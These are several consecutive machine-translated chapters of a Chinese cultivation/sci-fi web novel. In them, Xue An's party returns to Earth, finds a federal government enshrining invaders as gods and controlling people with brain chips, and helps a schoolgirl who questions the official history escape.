    "You said Guannan got mixed up with the descendants of the Yang Zhu school?"


    "Yes, master!" The tabby cat hovered in the air, then landed on Yue Shifang''s knees and stretched out comfortably.


    "But it seems that the second lady does not seem to have a cold with this Yang Qin."


    Yue Shifang pondered for a moment, and then sighed, "Forget it, Guan Nan himself should be measured, as long as she is safe and sound, I will ignore the rest."


    The tabby cat refreshed, "Do you mean that I don''t have to follow the second lady anymore?"


    Yue Shifang shook his head, "Of course not, your mission continues, but you don''t have to report it to me if you have this kind of thing again."


    "Oh!" The tabby cat replied very disappointed.


    Yue Shifang smiled when he saw it, then stretched out his hand and gently touched its head.


    "Okay. Knowing that you have been wronged during this period of time, I will compensate you at that time."


    The raccoon cat made a snoring sound in his throat, obviously enjoying Yue Shifang''s touch.


    "Master, I am not annoying, but I just feel that it is really boring to be behind the second girl all day. If you are really worried about her, why not just take her back?"


    Yue Shifang sighed softly, "You don''t understand..."


    This small storm passed like this, and most people didn''t even know what happened.


    At the same time, Xue An was in a hurry.


    Under the blessing of his powerful cultivation base, Fu Bao Xiaolou broke out with an unprecedented astonishing speed.


    In just a few days of daylight, they crossed the territory that ordinary saints would take more than half a month to cross, and came before the boundary between the heavens and the heavens.


    At this moment, Xue An naturally does not need to rely on the power of the Shadow Turtle Clan to cross this dark sea like when he came.


    I saw him driving the Fubao Xiaolou for a while in front of the sea of ??darkness, and after a short rest, he resolutely plunged into the endless darkness.


    The sea of ??darkness was full of waves, as if to completely swallow this small talismanic building.


    But as soon as they rushed to the front, they were shaken back by an invisible force, and then turned into complete nothingness.


    In this way, Fu Bao Xiaolou was advancing rapidly in this dark sea with a force of destruction.


    finally.


    After another half-day of running around, the darkness in front of him began to thin, a little starlight loomed in the distance, and a trace of familiar feeling appeared in everyone''s hearts.


    "The heavens are coming soon, everyone is ready." Xue An said solemnly.


    Everyone''s heart shuddered.


    Even if it is the snarling sky that is backing down all the way, at this moment, it is inevitable that a feeling of near nostalgia and timidity arises.


    And at this moment, this Fubao Xiaolou suddenly shook, UU read and then as if crossing an invisible obstacle, his eyes suddenly opened up.


    Countless bright stars shined in through the windows, causing everyone who had been suppressed in the darkness for a long time to breathe.


    But at the same moment, Xue An''s breath suddenly stagnated, and then quickly weakened.


    Also weakened was the aura on the body of the Nine Heavens Profound Girl.


    As for the others, they were hardly affected.


    "It''s the suppression of the law of heaven and earth! Surely, this heaven and earth does not allow the existence of the realm of saints!" Nine Heavens Profound Girl sighed.


    Xue An had a calm face, just glanced at the bright starry sky outside the window, and then said in a deep voice.


    "Go, go back to earth first!"


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2591 Tabby Cat), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2592： Mechanical biology

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    According to the territory, the heavens are much smaller than the outer heavens.


    However, due to the suppression of the Law of Heaven, Xue An''s strength has declined to a certain extent, and the speed of even rushing on the road is much slower than Tianwaitianshi.


    So although the distance is close, the time it takes is almost the same, at least it will take a few days to reach the earth.


    During this time, everyone was not idle, but carefully observed every planet that they passed along the way, trying to find some clues from it.


    But the results were all in vain. The planets in this wild land bordering the boundaries of the heavens were without exception, dead stars without aura.


    Mo said that he found the clues, after traveling for most of the day, everyone didn''t even see a trace of life.


    This discovery made Xue An''s complexion gradually serious. He still remembered that when he left the heavens, although this territory was desolate, there was still a hidden vitality.


    It''s never so cold and dead as it is now.


    Faintly, Xue An had an ominous premonition in his heart.


    And this feeling reached its peak when I saw a planet that had obvious manual cutting marks on its surface and was pitted, seemingly gnawed by something.


    "What is this?" Ao Shu looked at the planet outside the window with some puzzlement.


    "There is still a trace of spiritual energy fluctuations remaining on this planet. It shouldn''t have been long since she died." The Nine Heavens Profound Girl said with a solemn expression.


    "This is obviously man-made! But who did the problem?" Yang Jian also said solemnly.


    At this moment, I heard a slightly immature voice coming from behind.


    "These cutting marks are obviously from the hands of the machine!"


    Everyone turned their heads and looked around, and it was Xiao Hulu who was talking.


    This little gourd hasn''t played since he was fascinated by the black mist on the battlefield of Baijia.


    But she didn''t have any serious problems, even the black mist only left her in a coma for a few days, and even the medicine was useless, so she woke up by herself.


    The reason why she didn''t show up was because she had been with the ghost doctor Cha Wenliang during this period of time.


    But this time Xue An returned to the heavens, and Ao Shu naturally followed suit.


    So when she checked Wenliang''s farewell from the teacher, Zha Wenliang handed the little gourd to her and asked her to take it with her.


    At the beginning, Ao Shu didn''t understand Cha Wenliang''s intentions, but because of his love for Xiao Hulu, and considering that he missed the two little girls without playmates, he agreed.


    But after getting on the ship, Ao Shu discovered that in just a few days, Cha Wenliang had taught Xiao Hulu all of what he had learned all his life.


    And Xiao Hulu also showed amazing learning ability, and he actually remembered and learned all of them.


    This made Ao Shu feel a deep sense of frustration.


    You must know that she has been following Cha Wenliang for many years, but the medical knowledge she has learned is pitiful, not even as good as Xiao Hulu at this moment.


    Such a huge gap naturally made Ao Shu frustrated.


    However, Ao Shu quickly adjusted his mentality, thinking that no matter how good this little junior sister is, shouldn''t I still be called senior sister?


    Thinking about this, she felt much better.


    What''s more, there is such a little medical expert who is accompanying, and everyone''s safety factor is undoubtedly much greater.


    What''s more, when the two little girls saw the little gourd, they cheered and played various little girl games all day long.


    Little Gourd has never declined, but blended into it well, just like a real little girl.


    Until today, after seeing this devastated planet, Xiao Hulu stood by the window and said the words just now.


    "Mechanical power?" The Nine Heavens Profound Girl repeated.


    Xiao Hulu nodded.


    "Yes, and I can feel that the existence of manipulating this mechanical force should not be low-level, at least it is an existence that has born self-consciousness."


    When she said that, the Nine Heavens Profound Girl, Yang Jian and others all changed slightly.


    Only Huye in the room didn''t know the details of the little gourd. Seeing a little girl talking here, I couldn''t help but not believe it.


    "Ahem, little girl, don''t mix up with adults and children, hurry up and play!"


    But Xiao Hulu didn''t pay attention to him at all. Instead, he turned his head and said to Xue An: "Not only that, I can also feel that there are strong mechanical fluctuations not far from here."


    Xue An didn''t hesitate at all, and asked directly: "Which direction is it?"


    Little Gourd raised his hand and pointed to a distant starry sky, "There!"


    Xue An immediately urged the Fu Bao Xiaolou under his feet to fly towards the starry sky.


    The Fox Ye, who was completely ignored, was a little unhappy.


    "Hey, hello, shouldn''t we go back to Earth first? Why did you listen to a little girl''s command? And I have just detected it with my spirit, there is nothing in that starry sky!"


    Little Gourd didn''t even pay attention to his "scream" and turned around and left.


    Hu Ye was so angry, "Why is this little girl so rude?"


    "You are rude, okay?" Ao Shu said from the side.


    Hu Ye was embarrassed and said bluntly: "But what I said is the truth!"


    "Okay, you should just say a few words. Although this little girl is young, she should be regarded as an authority in terms of mechanics. Since she said there was a problem there, there must be a problem!" Yang Jian was also at this time. Came up to explain.


    Hu Ye was a little unconvinced.


    "Let''s do it, I''m not going to have trouble with a child, I just don''t think I can waste time here..."


    Then he couldn''t continue, because at this moment, a huge planet appeared in the starry sky outside the window.


    This is not surprising. What is really surprising is that there are countless mechanical creatures on the surface of this planet.


    These creatures dig up all the resources that can be mined on this planet, and then gather them on a spaceship and fly away.


    It was not until they saw this scene that everyone understood what was going on with the scarred planet just now.


    Hu Ye was dumbfounded.


    At the same time, Xiao Hulu suddenly opened the door of Fubao Xiaolou and appeared in the void outside. uukanshu. Com then went straight to the planet.


    "What is she going to do?" Hu Ye asked inexplicably surprised.


    "It should be looking for something!" Yang Jian said.


    really.


    Seeing that the little gourd passed through the atmosphere full of transport ships without any hindrance, and then landed on the surface of the planet.


    The moment she landed, all the mechanical creatures on this planet that had been busy all came to a halt.


    As if someone had pressed the pause button, they all maintained their final operating posture.


    The little gourd stood still on the spot, with electricity and light looming in his eyes, faintly centered on her, and countless faint hairs stretched out from the top of his head, connected to these mechanical creatures.


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2592 Mechanical Biology) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2593： Protoss? Evil!

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "Dad, what is Xiao Hulu doing?" Miss Missing also leaned to the window at this time, and asked curiously.


    Xue An looked down at the two daughters, then chuckled softly: "She is trying to control these mechanical creatures!"


    "Try to control these mechanical creatures?" Miss Missing looked out the window with confusion.


    And at this moment, the electric light extending from the top of the little gourd''s head suddenly increased countless times.


    Then there was a crackling sound from the bodies of these mechanical creatures, and sparks and black smoke came out.


    In the blink of an eye, the mechanical creatures all over the planet became a pile of scrap copper and iron.


    After finishing all this, Xiao Hulu turned around and returned to the Fu Bao Xiaolou, and then dropped a lot of broken chips.


    "It seems that the people who control these mechanical creatures are very experienced. These mechanical creatures have been set up with self-destruction procedures. Once they are forcibly spied on, they will immediately self-destruct the chip to erase all traces."


    "So I still haven''t found any clues?" Ao Shu said disappointedly.


    Xiao Hulu smiled slightly, "Although this person is smart, he is still far behind me!"


    She opened her palms, and there was an intact chip in her palms.


    "I have forcibly deciphered the program inside just now, and then I found this!"


    With that, a group of light curtains projected from the eyes of the little gourd, reflected in the air, forming a realistic three-dimensional projection.


    This is a huge ship, the whole body is pitch black, there is no emblem mark, but at its tail, it surrounds a huge ring object, and it rotates slowly.


    After seeing this spacecraft, Xue An''s eyes narrowed slightly, as if thinking of something.


    Xiao Hulu said at this time: "I can feel that there is a mechanical existence with a very high level of intelligence hidden in this spaceship, but at the moment these mechanical creatures self-destruct, this mechanical creature already knows it, and then fled. NS."


    Xue An nodded, "Okay, I know, thanks for your hard work!"


    Little Calabash didn''t say anything, turned around and left.


    But the moment she turned around, the calm and leisurely aura before disappeared, replaced by a child''s innocence and naivety.


    Hu Ye was stunned at this seamless transition.


    At this time, An Yan couldn''t help asking: "Husband, where are we going now?"


    "Where?" Xue An smiled, "Naturally, I will return to Earth first!"


    "Yes!" Yang Jian also agreed at this time. "These are just trivial matters. The real source of the problem obviously comes from above the earth."


    Others naturally have no objections.


    In the blink of an eye, this Fubao Xiaolou accelerated again and disappeared into the boundless space.


    But it was when they left their place and headed to the earth.


    In the void billions of miles away, a dark ship suddenly jumped out.


    Then the star ring at the stern of the ship began to spin rapidly.


    "Warning, warning! It was detected that the harvesting forces in the 371st area were completely annihilated, and there were unknown forcible snooping, extremely dangerous, extremely dangerous!"


    Amid the harsh sirens, a woman in the ship''s cockpit looked solemn.


    Wearing a black leather jacket, this woman showed her devilish figure.


    "Is it unknown? This situation has never happened before. It seems that we need to report it to the president as soon as possible!"


    The woman murmured to herself, and then quickly turned off the alarm, driving the ship for a leap, and then disappeared into the void.


    finally.


    After two full days of trekking, Xue An and his party finally entered the realm of the Milky Way.


    As the starry sky outside became more and more familiar, everyone''s mood became tense.


    Even missing these two little girls, her small faces were tight, and she looked out the window very seriously.


    Suddenly!


    After passing through a cluster of nebula, a huge idol suddenly appeared in the void ahead.


    That''s right.


    It is a statue of a **** standing in space.


    This idol is so tall that it can be seen clearly even from a great distance.


    I saw it has weird facial features and a sturdy figure. The most important thing is that its arms are two huge tentacles.


    The person who built this idol is obviously a skilled craftsman, who carved every detail to life.


    But precisely because of this, the people in Fu Bao Xiaolou were shocked and angry.


    "Isn''t this an evil thing?"


    "When did you build a statue for the evil thing?"


    Even Hu Ye was dazed, "When I left, there was obviously no such statue! This is obviously a new one."


    Speaking of this Fox Night smiled bitterly, "After all, people in this world now think that they were saved by these evil things, so they respect them as a protoss!"


    "It''s really maddening! We sacrificed so many people and worked so hard to win the war. Were it so easy to steal the fruits of victory?"


    Ao Shu was so angry that his eyes were red.


    Xue An didn''t say a word, but looked at the statue coldly, and then urged the Fubao Xiaolou to speed up towards it.


    After the tea scene, they came to the statue.


    After getting close, everyone deeply realized the hugeness and horror of this statue.


    Especially those huge tentacles didn''t know what kind of material they were carved from, they were actually the same as the real ones, and they could even see the blood flowing under the cyan-gold skin.


    After waiting here, the lonely void also became lively.


    I saw many ships docked here, and at the same time a huge platform was built in front of the idol.


    Many people are standing on the platform and taking photos with this huge statue.


    Some people even burned incense to worship this statue.


    Seeing this scene, Ao Shu, who was already out of anger, exploded at the time.


    "Fuck, what the **** are these things! Do you recognize the thief as the father?"


    Even though she has always considered herself a lady and never scolded others, she couldn''t control her anger at this time. UU read www.ukanshu.com and spit out a few classic national curses.


    As for the others, they are also angry.


    Only Xue An was very calm, and said lightly: "Since it''s here, let''s go up and have a look!"


    With that, Xue An opened the door of Fubao Xiaolou and strolled out.


    Everyone followed, and soon boarded this huge platform.


    Only after being physically present can I feel the excitement here.


    There are even many young people who are obviously still students wearing uniform clothes, and they are visiting here under the leadership of the leader guide.


    Not only that, but there are also many small vendors who are selling all kinds of souvenirs.


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2593 Protoss? Evil!) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2594： Federal government

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "Don''t miss it if you''re passing by, the newly released Protoss memorial suit, with rings and necklaces, can be worn on the body to exorcise evil spirits and be blessed. It can be a town house if you put it at home. Young people can find their beloved partner even if you take it with them! "


    "Relics left over from the Protoss War, now you can buy them and you will get a beautiful pictorial as a gift!"


    And there are many people who are eager to buy these souvenirs.


    After taking a closer look at these so-called souvenirs, Ao Shu''s eyes almost burst into flames.


    I saw on these posters depicting the so-called war of the gods, it is obvious that the existence of evil things has actually become the righteous party, and although the objects they strangled are vague, it can be seen from the various traces that there are obviously Chinese among them. The shadow of the gods.


    This time it almost exploded Ao Shu''s lungs, and angrily walked up to a vendor who was selling the most vigorously.


    The vendor was unknown, so he was still greeting with a smile.


    "Girl, what do you want?"


    "I want you to be a big-headed ghost, where did you get these things?" Ao Shu pointed at these posters in anger.


    The vendor didn''t know, so he didn''t know how he offended this pretty girl, but the businessman''s nature of making money still made him explain with a smile.


    "Oh, you said these posters, these were all downloaded from Zhinet.com, and then printed out on fine paper. They all record the Protoss war that year!"


    "I didn''t **** ask you this, I was asking you what is going on in these pictorials?"


    The vendor looked inexplicable, "What''s going on? This is all about the protoss war that year, girl, don''t you even know this?"


    At the same time, because of Ao Shu''s loud scolding, some tourists gathered around.


    After hearing this sentence, these people couldn''t help looking at Ao Shu with contempt, and then whispered.


    "Tsk tusk, she looks pretty beautiful, how come she doesn''t even know the battle back then?"


    "Young people nowadays, I really forgot about this!"


    After these comments were heard in his ears, Ao Shu felt his blood pressure soared, and there were faint signs of violent walking.


    At this moment, a hand suddenly pressed her shoulder, and then Xue An walked up from behind, with a slight smile on his face.


    "Sorry, this is my sister. She rarely goes out before, so she doesn''t know much about the outside world!"


    "If you don��t know much, you can��t be slanderous, young man, you have to take care of your sister. This is in outer space. If it is changed to above the earth, you will have to be given by the federal government based on the words of your sister. Grab it." An old man kindly advised.


    "You..." Ao Shu stared at her, trying to refute, Xue An shook her head imperceptibly and motioned her not to talk too much.


    Only then did Ao Shu reluctantly suppress the anger in his heart, glared at these onlookers bitterly, and then turned and left.


    After she left, Xue An nodded at these people with a smile.


    "My sister is too young to be sensible, don''t be familiar with her!"


    "Okay, it''s okay. Seeing you as a big brother is quite sensible, we don''t need to pursue it!"


    With that said, these onlookers just dispersed.


    Then Xue An looked at the vendor, "You just said that you downloaded these from Zhinet?"


    "That''s right! I spent money on this, and it was officially authorized. What are you asking about this?" The vendor looked at Xue An with caution.


    Xue An smiled, "Don''t be nervous, I''m just curious, so I just ask, because we were all cultivating in a remote star field before, so there are many things we don''t know."


    "Oh, it turned out to be like this!" The vendor suddenly realized.


    Then Xue An raised his head and looked at this huge statue, "When was this statue built? I remember there was none before!"


    The vendor chuckled, "Of course not before, because this was only established a month ago."


    "Oh? Who did it then?"


    "Who else can be, of course the Federal Government!"


    This is the second time that Xue An heard the four words of the Federal Government. They were spoken from the old man who was watching. Now the small vendor mentioned it again, Xue An couldn''t help but move.


    "Don''t you even know the Federal Government?" The small vendor suddenly asked very vigilantly.


    Xue An knew that this person had already aroused his vigilance, and couldn''t help but smile faintly.


    But just when he was going to wash away this memory of the small merchant directly with divine mind, and extract all the information about the federal government.


    A small gourd''s voice suddenly came from the ear, "Don''t use divine mind to forcibly cleanse, these people have a chip implanted in their minds, once they detect a divine mind forcible intrusion, they will automatically call the police!"


    Xue An was startled, and his complexion immediately became serious.


    He was really negligent before and didn''t notice any difference between this vendor, but after Xiao Hulu reminded him, he immediately felt a strange aura in the vendor''s brain, that should be what Xiao Hulu said. The chip is out.


    At the same time, the small vendor has become more alert.


    At the same time, several strong men in black combat uniforms were rushing here in the distance.


    Xue An thought in his heart.


    With his strength, a single hand can destroy everyone present, but he doesn''t want to startle the snake at this moment.


    Especially when the situation is still not clear, and the culprit for tampering with the world''s memory has not been found, any drastic actions may bring serious consequences.


    And just under the circumstances of his hesitation, Xiao Hulu wandered to the booth, his eyes flashed, and a trace of electric arc directly connected to the small vendor''s mind.


    The small vendor trembled, and then a blank look appeared in his eyes.


    At the same time, the burly men in black had also come closer, looked at Xue An and others very vigilantly, and then asked the small vendor.


    "what happened?"


    As soon as the words fell, a bright smile appeared on the face of the small vendor at UU Read , and then he turned his head and said to these brawny men in black.


    "It''s okay, I just had a joke with this customer, nothing happened!"


    As he said, he turned his head to look at Xue An, "Since you are too expensive, so be it. I will sell this poster to you at the cost price. What do you think? If it is cheaper, I will really lose money!"


    Xue An responded quickly and immediately nodded and said: "Let''s do it, so be it!"


    These burly men in black couldn''t help looking suspiciously at the small vendor, then looked at Xue An, and found that there was really no doubt, then he whispered.


    "Next time I figure it out, I''ll send a signal!"


    After that, the group turned and left.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2594 Federal Government), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2595： Although 0 million people go along with my suspiciousness

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    When they left, the smile on the little vendor''s face quickly faded, and his eyes became extremely dull, even lifeless.


    After a while, Xiao Hulu said faintly: "Well, now the memory in his mind about us has been revised. When we leave, he will only remember that a group of ordinary tourists once asked him the price of the poster, except for that. I don��t remember anything else, but..."


    Little Gourd paused, then continued: "I found an even more amazing fact in his chip."


    "What facts?" Ao Shu asked first.


    "He is obviously not the only person who was planted with the chip. The federal government obviously regards this as a means to control others. Therefore, it is still difficult to verify how many people have been planted with the chip, but it is certain that, These black guards are all slaves of the chip. As for the others..."


    Little Gourd thoughtfully glanced at the guides in the distance who were passionately and generously telling the glorious history of the so-called Protoss.


    "That''s hard to tell!"


    Ao Shu also understood the meaning of these words, and his face turned dark.


    If things are really like what Xiao Hulu said, it would be terrible.


    After all, this is squeezing and enslaving a person from the soul level.


    This feeling is even more terrifying than physical destruction. After all, the physical destruction is nothing more than death, but if the soul is enslaved, it is all over.


    What''s more, looking at it now, there are far from a few under the control of the chip.


    After all, even an inconspicuous small vendor has been implanted with a chip. You can imagine what other people are like.


    Thinking of this, Ao Shu clenched his teeth hard, his heart was full of raging anger.


    "This **** federation is simply too hateful. Isn''t this just helping the gang to abuse them?"


    As she said, she looked at Xue An angrily, "Brother Ang, I think this federal government is absolutely weird, so let''s start with them and investigate the cause of this incident!"


    Xue An smiled and said, "Be safe, don''t worry, the investigation must be an investigation, but before that, I really want to know what these people can tamper with the facts."


    With that said, Xue An walked directly under the statue.


    There is a leading tour guide who is passionately telling the battle of the year.


    "In other words, the group of evil gods who don��t know where they came from are pressing harder and harder. They are about to wipe out our Chinese clan. At this moment, the great protoss descended from the sky and joined the battle group with infinite compassion, standing by our side. Fighting, finally repelled the evil god!"


    "Therefore, the Protoss is the great benefactor who saves our Chinese in the fire and water. We should remember this kind of grace."


    The speaker was a middle-aged woman, and she saw that her face that looked a little savage because of her excitement was full of fanaticism. Although she had to repeat these words countless times every day, every time she told them, she would Excited.


    And this sentiment also infected these audience members.


    These people are basically students at school, and their childish faces are full of respect.


    "Yes, the Protoss is our savior!"


    "Long live the Protoss!"


    Hearing these shouts, Ao Shu was almost furious.


    Her second sister, Ao Yi, died in the war that year, and died at the hands of evil things.


    Although she was not present when these things happened, she still felt full of sadness and anger after listening to Fox Ye''s narration.


    Sad and desolate at the second sister''s dedication to love, angry at the hatefulness of these evil things.


    That''s why she couldn''t accept that these people turned black and white, and said nonsense with their eyes open.


    But just as she was about to explode, a slightly weak voice suddenly came from the crowd.


    "But teacher, why do I think something is wrong!"


    This sound was like a bolt from the blue sky, shaking the faces of all the students present.


    As for the middle-aged woman who was impassioned just now, her mouth was wide open at this moment, she looked at the crowd in disbelief, and she didn''t even think that anyone would dare to refute herself.


    It wasn''t until a moment later that she was like a cat with its tail trampled on, jumping up high on the spot, and then roaring hysterically.


    "Who? Who said that sentence just now? Stand up for me!"


    There was a commotion in the crowd, and then dispersed one after another, revealing a fragile little girl in front of them.


    This little girl was at most sixteen or seventeen years old. She was not tall and had a delicate face. She was wearing a white school uniform with a shudder, and she looked very quiet.


    But it was such a little girl who just came out with a shocking word.


    She even dared to doubt what the tour guide teacher said.


    This idea flashed in many people''s minds.


    As for the middle-aged woman, her face became extremely gloomy after seeing the talking girl.


    "Did you just talk?"


    The little girl was panicked, but she nodded her head calmly, "Yes!"


    "Very well, then who instigated you?" The middle-aged woman''s eyes suddenly became as vicious as a snake and scorpion, and she asked coldly.


    The little girl trembled and shook her head, "No... no one instigated me, I just think there are some doubts, and our teacher said that people should learn to reflect and dare to question!"


    "Hahaha, learn to reflect and dare to question, then who is your teacher? Did he instigate it?" The middle-aged woman was aggressive.


    The little girl was not so scared at this time, and stubbornly retorted: "It doesn''t matter who my teacher is, and he didn''t instigate me. I really just have some questions, so I want to hear you explain it! Could it be you? Are you afraid to answer?"


    The middle-aged woman was taken aback for a moment. She didn''t expect this girl to be so courageous that she actually dared to question herself face to face.


    If I don''t answer, I really can''t get off the stage in full view.


    Therefore, she waved her hand and motioned to those people in black who had rushed over after seeing the dispute to stop doing it for the time being. uukanshu.com then sneered.


    "Well, if that''s the case, then I will fulfill you. You want to know something. Let''s talk about it now!"


    The little girl took a deep breath and slowly said: "Just now you said that these evil gods were invading aggressively and the earth was at stake, and then the Protoss tried to turn the tide and save everyone. Right?"


    "Of course! What? Is there any problem with this?" the middle-aged woman sneered.


    "Of course there is a problem, first of all..." The little girl looked solemnly.


    "The war in those days was not far away from now, and the technology is already very advanced, but why didn''t any images of this war have been handed down?"


    This sentence was like a blow to the head, directly solidifying the pride on the middle-aged woman''s face into a mask.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this reading (Chapter 2595, although tens of thousands of people echoed only my doubts) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2596： Courageous girl

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "Secondly, since these Protoss adults won this war, why haven''t even seen a real Protoss?"


    The middle-aged woman''s complexion became pale.


    "Finally!" The little girl pointed to the brief introduction posters next to the statue, "Why do the evil gods depicted on this look so similar to our Chinese people?"


    After saying this, the brave girl looked at the middle-aged woman firmly.


    "I hope you can answer these three questions!"


    There was a gurgling sound in the middle-aged woman''s throat, she almost doubted life, but immediately she screamed in anger.


    "Come here, arrest this woman who is arrogant and full of nonsense, she must be premeditated!"


    In fact, there is no need for her to say, these people in black have already swarmed, intending to arrest this brave girl.


    "Brother Ang!" Ao Shu shouted anxiously.


    The hearty questioning that the girl had just made made Ao Shu very happy, and he was naturally full of good feelings for him.


    Now seeing these people in black intending to be unfavorable to the girl, she was naturally a little anxious, but she didn''t dare to take action without authorization, so she shouted.


    Xue An was also full of curiosity about this courageous girl, and he couldn''t just watch such a girl who dared to resist fall into the palm of his hand, so he moved in his heart and planned to do it.


    But at this moment, she saw the girl sneer.


    "But I''m going to do it, but this is really the usual face and style of your federal government! But this girl has no time to spend with you, bye!"


    After that, the young girl turned around, and actually avoided the attacks of several people in black within a short period of time, and then dived into the crowd like a fish.


    These people in black all stunned, and then the leader shouted: "Quickly chase, don''t let this woman run away!"


    But before these people rushed to the front, I saw this young girl crawling through the crowd very flexibly, and disappeared mysteriously after a few strokes.


    "Enclose the entire square, no one is allowed to leave, she must be hidden in the crowd now!" the leader shouted.


    With an order, these people in black immediately surrounded the entire square, and then began to identify identities one by one.


    These visitors also showed great cooperation. After lining up, they began to undergo screening tests step by step.


    "Husband..." An Yan shouted hesitantly.


    Xue An smiled, indicating that there is no need to worry, and then intentionally or unintentionally looked at the crowd on the left.


    This is a group of elderly people who should travel with a group after retirement.


    This is not surprising, but Xue An''s eyes are so harsh.


    At a glance, it was obvious that there was a gray-haired old lady in these elderly tour groups, although on the surface, there was a trace of panic that could not be hidden in her eyes.


    At the same time, although her figure was very old, Xue An still noticed that her hands were unexpectedly tender, not at all what they should be at this age.


    Seeing this scene, Xue An couldn''t help showing a faint smile on the corner of his mouth, and then walked towards her unmovingly.


    His move naturally attracted the attention of many people, and the old lady quietly stepped back.


    But at this moment, Xue An''s voice came from her ears.


    "If you want to get out of here, just follow me obediently!"


    The old lady shook all over, then looked at Xue An in disbelief.


    Xue An nodded imperceptibly at her.


    The old lady groaned a little, and then she caught a glimpse of several people in black who had noticed the situation here and were walking towards it, so she gritted her teeth secretly and immediately followed Xue An.


    "How are you going to get out of here? You must know that these people in black are all elites trained by the Federal Security Service. At the same time, there is also a military control station next to it. If anything happens, a large number of troops will swarm in." Old lady Asked in a low voice.


    Xue An smiled faintly, "You don''t need to worry about this, just follow behind me, I have my own way to take you out of here."


    Although he was still quite suspicious in his heart, but the matter has reached this point and can only bite the bullet and continue to follow.


    At this moment, these people in black had already walked up to Xue An, opening their mouths just about to speak.


    Xue An said lightly: "Little gourd!"


    As soon as the voice fell, wisps of imperceptible electric light spread immediately and connected to the minds of every black-clothed person.


    These people shook all over, and then stood there, with a dazed expression on their faces.


    At the same time, Xue An''s eyes flashed with brilliance, and a huge power of spirituality immediately enveloped the audience, controlling those who did not have chips in their minds.


    In the blink of an eye, the noisy square quieted down.


    This amazing scene caused the girl''s mouth to gradually open, her face full of incredible color.


    She knows how difficult these people in black are.


    It''s not that they are so powerful. The key is that the chips they have implanted in their minds are far more powerful than ordinary control chips, and they are connected to each other to form a network. Once one of them has a problem, the closest person will immediately. Perceived, and then swarmed.


    But now, these ordinary men in black are like wood-carved clay sculptures, standing in place without blinking their eyelids.


    And the group of people he followed was so generous, and walked in front of these black-clothed people grandiosely, without arousing any waves in the whole process.


    Only when passing by the middle-aged woman, Ao Shu was so angry that she had turned black and white just now, so he slapped her with his hand.


    Snapped!


    This slap fan was so heavy that it slapped her away from the spot in an instant, but even so, the woman didn''t even hum, and fell to the ground like a piece of dead wood.


    "Ao Shu!" Xue An shouted.


    "Hmph, it''s cheaper for you. If it weren''t for the sake of not arguing, I would skin you alive now!" Ao Shu said bitterly.


    Then the group left the square calmly, UU read and boarded a strange aircraft.


    It wasn''t until they had already flown away from the area where the square belonged, that the young girl recovered from the shock.


    Then she saw her body shape quickly change, and in the blink of an eye she changed back to the delicate female student before.


    "Are you from the Resistance Army?"


    But immediately the girl denied herself.


    "No, if the rebels have the patience of you, they won''t be defeated by the federal government!"


    "So who are you?"


    Xue An chuckled, "Who do you think we will be?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2596 Courageous Girl), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2597： Feibai

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "I don''t know." The girl shook her head, but her eyes were full of colors.


    "But the strength you just showed is really terrifying. You can directly control the people in black and retreat from it. What kind of ability is this? Can you teach me?"


    Xue An smiled, "It seems that you have been asking us questions from the beginning to now. Can I ask you first?"


    The girl didn''t hesitate, she nodded and said: "Okay, you can ask!"


    "What is your name and who is your teacher?"


    "My name is Si Qingqing. As for my teacher..."


    The girl pondered for a moment, and then slowly said an answer that was unexpected to everyone.


    "I actually don''t have a teacher at all. These things I said were all my brother told me!"


    "Oh? Then who is your brother?"


    "My brother''s name is Feibai."


    Feibai?


    Hu Ye and Ao Shu and others looked at each other, their faces full of doubts.


    Because they have never heard of the name.


    On the contrary, Xue An was slightly startled, even if he smiled meaningfully.


    "Feibai... I didn''t expect it to be him!"


    "What? Do you actually know my brother?" Si Qingqing asked in surprise.


    "Of course you know, is your brother very good at using swords?"


    "Yes, yes, my brother is amazing with swords." Si Qingqing nodded again and again, "Then since you know my brother, what is your name?"


    "Me..." Xue An sighed softly, "My name is Xue An."


    "Xue An..." Si Qingqing repeated it hesitantly, then shook his head, "I haven''t heard my brother mention this name!"


    "Of course you have never heard of it, because although I know your brother, your brother doesn''t necessarily know me."


    Si Qingqing became more confused.


    What does it mean that he knows his brother, but his brother doesn''t necessarily know him?


    Could it be that he has heard of his brother''s deeds?


    Um!


    It might be so.


    Si Qingqing was thinking secretly, Xue An said solemnly: "Where is your brother now, can you lead us to see him?"


    "this��."


    "Don''t worry, we are not bad guys. At least from a certain level, we have the same purpose as you and your brother." Xue An said lightly.


    Seeing the calm, but sincere Xue An in his eyes, Si Qingqing hesitated for a moment, then nodded.


    "Well, since you dared to fight against the men in black in the federal government just now and rescued me, this proves that you are indeed not bad guys. I believe my brother will be very happy after seeing you."


    After that, she turned her head and looked out the window, "Can this strange object fly?"


    "certainly!"


    "Okay, then I will control it next."


    Xue An transferred part of the control of Fubao Xiaolou to Si Qingqing.


